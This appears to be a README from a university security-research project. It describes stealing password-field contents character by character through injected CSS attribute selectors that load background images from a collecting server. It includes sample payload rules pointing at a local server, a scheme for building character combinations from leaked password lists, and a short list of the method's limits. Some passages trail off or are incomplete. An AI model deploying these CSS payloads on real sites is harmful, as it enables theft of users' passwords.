By utilizing the possibilities of CSS selectors such as input[type='password'][value$='xyz'] we can check if a password field ends with a given string. This can be used to exfiltrate the password character by character.
This idea is not new. There are already multiple implementations of this idea. I added some improvements to the idea. See section "How it works" for more information.
By adding multiple selectors and loading a background image from a server, we can exfiltrate the password character by character.
input[type="password"][value$="a"] {
background-image: url("http://127.0.0.1:8000/?k=a");
}
input[type="password"][value$="b"] {
background-image: url("http://127.0.0.1:8000/?k=b");
}
This approach has a big disadvantage. The same URL will only be requested once. This means that hello will by exfiltrated as helo.
To fix this we can generate all 2-character permutations. Let's say we have f: inside their password. If we would extend this to 3 characters, we would have
We can easily make use of 5.000 selectors and more. To use wasted selectors, we can extract the most common 1, 2 and 3 character combinations from english passwords (like rockyou.txt).
| Combination | Count |
|---|---|
| 1-char | all |
| 2-char | 50 % (of the most common) |
| 3-char | 25 % (of the most common) |
| n-char |
|
See the help message for usage information.
python3 server.py -hThe server needs a frequency histogram of the characters. You can generate one by using the frequency_analyzer.py script.
python3 frequency_analyzer.py -h- Won't detect character deletion
- It can only detect character combinations once. Repeating patterns won't get exfiltrated.
- Only works if a reactive framework is used. (e.g. Angular or React) Else the password field won't be updated and the selectors won't be triggered.
- ... more to come
This repository was created during security research at university. It is only intended for educational purposes and should not be used for illegal activities. The author assumes no liability for any damage caused by the use of the code.